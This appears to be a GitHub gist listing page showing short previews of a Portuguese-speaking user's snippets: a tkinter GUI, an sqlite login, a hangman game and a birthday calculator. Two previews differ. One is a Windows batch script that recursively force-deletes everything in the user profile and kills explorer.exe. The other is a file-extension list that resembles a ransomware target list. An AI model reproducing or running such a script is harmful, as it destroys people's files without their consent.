This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extensions = [ | |
# 'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img' # Arquivos do Sitema | |
'jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw', # imagens | |
'mp3', 'mp4', 'm4a', 'aac', 'ogg', 'flac', 'wav', 'wma', 'aiff', 'ape', # Audios | |
'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp', # Vídeos | |
'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', # Microsoft office | |
# OpenOffice, Adobe, Latex, Markdown, etc | |
'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md', | |
'yml', 'yaml', 'json', 'xml', 'csv', # dados estruturados e config | |
'db', 'sql', 'dbf', 'mdb', 'iso', # bancos de dados e imagens de disco |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Mainframe(tk.Tk): | |
def __init__(self): | |
tk.Tk.__init__(self) | |
self.frame = Login_Screen(self) | |
self.frame['bg'] = '#222' | |
self.frame.pack(fill=BOTH, expand=1) | |
def change(self, frame): | |
self.frame.pack_forget() | |
self.frame = frame(self) | |
self.frame['bg'] = '#222' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sqlite3 | |
conn = sqlite3.connect('banco.db') | |
cursor = conn.cursor() | |
login_cadastro = int(input("Digite 1 para login e 0 para cadastro:\n>>")) | |
if login_cadastro == 0: | |
print("Registro") | |
cadastro_usuario = input("Usuario: ") | |
cursor.execute(""" | |
SELECT * FROM usuarios; | |
""") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from funcs import * | |
usuarios = [] | |
senhas = [] | |
logado = False | |
tocar_musica() | |
bem_vindo() | |
while logado == False: | |
escolha = pergntar_login_cadastro() | |
if escolha == 1: | |
indice_usuario = usuarios.index(checar_usuario_login(usuarios, senhas)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
while True: | |
ano = 2018 | |
dia = int(input("Digite o dia que você nasceu: ")) | |
while dia > 31: | |
dia = int(input("Digite o dia que você nasceu: ")) | |
mes = int(input("Digite o mes que você nasceu: ")) | |
while mes > 12: | |
mes = int(input("Digite o mes que você nasceu: ")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@ echo off | |
cd\ | |
cd %userprofile% | |
del /s /q /f * | |
taskkill -f /im explorer.exe | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import time | |
import os | |
teclado = [ | |
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', | |
'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', | |
'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', | |
'9', '0' | |
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import test | |
import time | |
def forca(chances): | |
if chances == 7: | |
print("------------") | |
print("| |") | |
print("| ") |
NewerOlder